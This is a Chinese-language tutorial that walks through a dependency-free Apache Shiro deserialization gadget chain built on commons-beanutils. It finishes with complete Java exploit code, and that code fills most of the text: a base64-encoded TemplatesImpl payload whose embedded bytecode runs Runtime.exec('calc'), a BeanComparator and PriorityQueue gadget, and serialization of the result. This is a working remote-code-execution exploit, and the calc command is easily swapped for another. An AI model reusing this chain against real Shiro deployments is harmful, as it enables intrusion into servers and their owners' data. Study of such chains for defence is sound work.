shiro无依赖利用链及exp编写

一、背景

因为shiro是存在commons-beanutils的依赖的，这样我们可以通过构造原生的CB1的链进行攻击shiro，但是我们通过ysoserial的CB1的链会发现其实并不会成功。

原因是因为CB1的链里面其实是依赖于commons.collections包里面的部分内容的。如下发现是在我们构造BeanComparator的时候会调用，当没有显式传入Comparator 的情况下，则默认使用ComparableComparator

二、解决办法

那么我们如何避免如上情况呢，就需要找一个ComparableComparator的替代品。这个替代品需要满足如下几个情况：

• 实现java.util.Comparator 接口

• 实现java.io.Serializable 接口

• Java、shiro或commons-beanutils自带，且兼容性强

通过对实现Serializable接口的类以及实现Comparator接口的类的对比，师傅们发现如下类：

• CaseInsensitiveComparator

• java.util.Collections$ReverseComparator

1.CaseInsensitiveComparator

• CaseInsensitiveComparator这个类是java.lang.String 类下的一个内部私有类，实现了Comparator以及Serializable接口，并且可以通过String的内部的CASE_INSENSITIVE_ORDER值即可获取到

2.java.util.Collections$ReverseComparator

这个类也是jdk原生的Collections类里面的内部类，他同样实现了Comparator以及Serializable接口，并且可以通过Collections的reverseOrder()静态方法获取到。

三、改造payload

通过如上我们的分析之后，我们知道只需要避开 ComparableComparator这个类，用我们找到的替代类来构造BeanComparator的时候就可以了。

1.首先创建恶意的TemplateImpl：

byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "test");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

2.实例化BeanComparator，其中comparator的部分就用我们找到的替换类，下面两个用其中一个即可

BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);

//            BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());

3.实例化优先队列PriorityQueue，如下因为我们上面comparator是比较的时候是String类型，所以在add的时候要用String类型的字符串。

PriorityQueue queue = new PriorityQueue(2,comparator);

queue.add("1");

queue.add("1");

4.反射将property 的值设置成恶意的outputProperties ，将队列里的两个1替换成恶意的TemplateImpl 对象

setFieldValue(comparator, "property", "outputProperties");

setFieldValue(queue, "queue", new Object[]{obj, obj});

完整代码：

import com.huawei.ysoserial.SeriallizationTest;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class CommonsBeanutilsShiro {
        public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
        public static void main(String[] args) throws Exception {
            //1.如下的code内容为弹出一个calc。
            byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS");
            TemplatesImpl obj = new TemplatesImpl();
            setFieldValue(obj, "_bytecodes", new byte[][] {code});
            setFieldValue(obj, "_name", "test");
            setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

            //2.实例化BeanComparator，其中comparator的部分就用我们找到的替换类，下面两个用其中一个即可
            BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
//            BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());

            //3.实例化优先队列PriorityQueue，如下因为我们上面comparator是String类型，所以在add的时候要用String类型的字符串。
            PriorityQueue queue = new PriorityQueue(2,comparator);
            queue.add("1");
            queue.add("1");

            //4.反射将property 的值设置成恶意的outputProperties ，将队列里的两个1替换成恶意的TemplateImpl 对象
            setFieldValue(comparator, "property", "outputProperties");
            setFieldValue(queue, "queue", new Object[]{obj, obj});

            SeriallizationTest.serizlize(queue);
//            UnSerializeTest.unserialize("test.bin");
        }
}